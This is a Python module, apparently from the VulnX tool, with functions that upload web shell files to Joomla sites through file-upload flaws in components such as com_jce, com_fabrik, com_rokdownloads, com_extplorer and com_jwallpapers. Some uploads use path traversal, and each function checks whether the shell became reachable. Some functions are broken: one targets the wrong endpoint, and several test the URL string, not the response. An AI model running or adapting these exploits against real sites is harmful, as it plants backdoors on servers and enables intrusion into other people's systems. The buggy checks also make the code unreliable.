import re
import random
import datetime
import requests
now = datetime.datetime.now()
year = now.strftime('%Y')
month= now.strftime('%m')

import os
Session = requests.Session()

from common.colors import failexploit , vulnexploit , que , info , good

def com_jce(url,headers):
    headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
    endpoint = url+"/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20"
    data = {
            'upload-dir':'./../../',
            'upload-overwrite':0,
            'Filedata' : [open('shell/VulnX.gif','rb')],
            'action':'Upload',
    }
    content = Session.post(endpoint,data,headers)
    path_shell = url + "/VulnX.gif"
    res=requests.get(path_shell, headers).text
    matches = re.findall(re.compile(r'/image/gif/'),res)
    if matches:
        print (' %s com_jce               %s    %s' %(que,vulnexploit,path_shell))
    else: 
        print (' %s com_jce               %s' %(que , failexploit))

def com_media(url,headers):
    headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
    endpoint = url+"/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="
    headers={"content-type":["form-data"]}
    fieldname = 'Filedata[]'
    shell = open('shell/VulnX.txt','rb')
    data = {
            fieldname:shell,
    }
    content = Session.post(endpoint,data,headers)
    path_shell = endpoint+"/images/XAttacker.txt"
    response = requests.get(path_shell,headers).text
    if re.findall(r'Tig', response):
        print (' %s com_media             %s    %s' %(que,vulnexploit,path_shell))
    else: 
        print (' %s com_media             %s' %(que , failexploit))


#def com_jdownloads(url,headers):
#    endpoint = url+"index.php?option=com_jdownloads&Itemid=0&view=upload"
#    files = open('shell/VulnX.zip','rb')
#    shell = open('shell/VulnX.gif','rb')
#    data = {
#        'name' : 'Tig',
#        'mail' :'tig@tig.com', 
#        'filetitle' :'Tig',
#        'catlist':'1',
#        'license':'0',
#        'language':'0',
#        'system':'0',
#        'file_upload': files,
#        'pic_upload':shell,
#        'description':'<p>zot</p>',
#        'senden':'Send file',
#        'option':'com_jdownloads',
#        'view':'upload',
#        'send':'1', 
#        '24c22896d6fe6977b731543b3e44c22f':'1',
#    }
#    upload_file = Session.post(endpoint,data)
#    path_shell = endpoint+"/images/jdownloads/screenshots/VulnX.gif?Vuln=X"
#    response = requests.get(path_shell).text
#    if re.findall(r'Vuln X', response):
#        print (' %s com_jdownloads        %s    %s' %(que,vulnexploit,path_shell))
#    else: 
#        print (' %s com_jdownloads        %s' %(que , failexploit))

#def com_jdownloadsb(url,headers):
#    headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
#    endpoint = url+"/images/jdownloads/screenshots/VulnX.php"
#    headers={"content-type":["form-data"]}
#    files = open('shell/VulnX.zip','rb')
#    shell = open('shell/VulnX.gif','rb')
#    data = {
#        'name' : 'Tig',
#        'mail' :'tig@tig.com', 
#        'filetitle' :'Tig',
#        'catlist':'1',
#        'license':'0',
#        'language':'0',
#        'system':'0',
#        'file_upload': files,
#        'pic_upload':shell,
#        'description':'<p>zot</p>',
#        'senden':'Send file',
#        'option':'com_jdownloads',
#        'view':'upload',
#        'send':'1', 
#        '24c22896d6fe6977b731543b3e44c22f':'1'
#    }
#    response = requests.get(endpoint,headers).text
#    if re.findall(r'200', response):
#        print (' %s com_jdownloads2        %s    %s' %(que,vulnexploit,endpoint))
#    else: 
#        print (' %s com_jdownloads2        %s' %(que , failexploit))

def com_fabrika(url,headers):
    headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
    endpoint = url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"

    headers={"content-type":["form-data"]}
    fieldname = 'file'
    shell = open('shell/VulnX.php','rb')
    data = {
            fieldname:shell,
    }
    content = Session.post(endpoint,data,headers)
    path_shell = endpoint+"/images/XAttacker.txt"
    response = requests.get(path_shell,headers).text
    if re.findall(r'Vuln X', response):
        print (' %s com_fabrik1           %s    %s' %(que,vulnexploit,path_shell))
    else: 
        print (' %s com_fabrik1           %s' %(que , failexploit))

def com_fabrikb(url,headers):
    headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
    endpoint = url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"

    headers={"content-type":["form-data"]}
    fieldname = 'file'
    shell = open('shell/VulnX.txt','rb')
    data = {
            fieldname:shell,
    }
    content = Session.post(endpoint,data,headers)
    path_shell = endpoint+"/images/XAttacker.txt"
    response = requests.get(path_shell,headers).text
    if re.findall(r'Tig', response):
        print (' %s com_fabrik2           %s    %s' %(que,vulnexploit,path_shell))
    else: 
        print (' %s com_fabrik2           %s' %(que , failexploit))

def com_foxcontact(url,headers):
    headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
#    foxf = {'components/com_foxcontact/lib/file-uploader.php?cid={}&mid={}&qqfile=/../../_func.php',
#            'index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id={}?cid={}&mid={}&qqfile=/../../_func.php',
#            'index.php?option=com_foxcontact&amp;view=loader&amp;type=uploader&amp;owner=module&amp;id={}&cid={}&mid={}&owner=module&id={}&qqfile=/../../_func.php',
#            'components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../_func.php'}
    endpoint = url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"

    headers={"content-type":["form-data"]}
    fieldname = 'file'
    shell = open('shell/VulnX.txt','rb')
    data = {
            fieldname:shell,
    }
    content = Session.post(endpoint,data,headers)
    path_shell = endpoint+"/images/XAttacker.txt"
    response = requests.get(path_shell,headers).text
    if re.findall(r'Tig', response):
        print (' %s com_foxcontact        %s    %s' %(que,vulnexploit,path_shell))
    else: 
        print (' %s com_foxcontact        %s' %(que , failexploit))

def com_adsmanager(url,headers):
    endpoint = url + "/index.php?option=com_adsmanager&task=upload&tmpl=component"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.html')
    files= {'image': (name_img,img,'form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/tmp/plupload/VulnX.html"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'VulnX'),checkShell)
    if statusCheck:
        print(' %s com_adsmanager        %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_adsmanager        %s' %(que , failexploit))  

def com_blog(url,headers):
    endpoint = url + "/index.php?option=com_myblog&task=ajaxupload"
    checkShell = requests.get(endpoint).text
    statusCheck = re.findall(re.compile(r'has been uploaded'),endpoint)
    if statusCheck:
        print(' %s com_blog              %s    %s' %(que,vulnexploit,endpoint))
    else:
        print(' %s com_blog              %s' %(que , failexploit))  

def com_users(url,headers):
    endpoint = url + "/index.php?option=com_users&view=registration"
    checkShell = requests.get(endpoint).text
    statusCheck = re.findall(re.compile(r'jform_email2-lbl'),endpoint)
    if statusCheck:
        print(' %s com_users             %s    %s' %(que,vulnexploit,endpoint))
    else:
        print(' %s com_users             %s' %(que , failexploit))  

def comweblinks(url,headers):
    endpoint = url + "/index.php?option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author="
    token = re.findall(re.compile(r'<form action=\"(.*?)" id="uploadForm\"'),endpoint)
    if token:
        url = token.group(1)
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.gif')
    fieldname = "image[]"
    files= {'image': (name_img,img,'form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/images/VulnX.gif"
    checkShell = requests.get(shellup)
    if checkShell.status_code == 200:
        print(' %s comweblinks           %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s comweblinks           %s' %(que , failexploit))

def mod_simplefileupload(url,headers):
    endpoint = url + "/modules/mod_simplefileuploadv1.3/elements/udd.php"
    img = open('shell/VulnX.php.mp4', 'rb')
    name_img= os.path.basename('shell/VulnX.php.mp4')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/mod_simplefileuploadv1.3/elements/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s mod_simplefileupload  %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s mod_simplefileupload  %s' %(que , failexploit))

def com_jbcatalog(url,headers):
    endpoint = url + "/components/com_jbcatalog/libraries/jsupload/server/php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/components/com_jbcatalog/libraries/jsupload/server/php/files/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s com_jbcatalog         %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_jbcatalog         %s' %(que , failexploit))

def com_sexycontactform(url,headers):
    endpoint = url + "/com_sexycontactform/fileupload/index.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/com_sexycontactform/fileupload/files/files/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s com_sexycontactform   %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_sexycontactform   %s' %(que , failexploit))

def com_rokdownloads(url,headers):
    endpoint = url + "/administrator/components/com_rokdownloads/assets/uploadhandler.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "Filedata"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files,
             'jpath' : '..%2F..%2F..%2F..%2F',
             }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/images/stories/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s com_rokdownloads      %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_rokdownloads      %s' %(que , failexploit))

def com_extplorer(url,headers):
    endpoint = url + "/administrator/components/com_extplorer/uploadhandler.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "Filedata"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/images/stories/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s com_extplorer         %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_extplorer         %s' %(que , failexploit))

def com_jwallpapers(url,headers):
    endpoint = url + "/index.php?option=com_jwallpapers&task=upload"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "Filedata"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files ,
             'submit' : 'Upload',
            }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/jwallpapers_files/plupload/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s com_jwallpapers       %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_jwallpapers       %s' %(que , failexploit))

def com_facileforms(url,headers):
    endpoint = url + "/components/com_facileforms/libraries/jquery/uploadify.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "Filedata"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files ,
             'folder' : '/components/com_facileforms/libraries/jquery/',
            }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/components/com_facileforms/libraries/jquery/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s com_facileforms       %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s com_facileforms       %s' %(que , failexploit))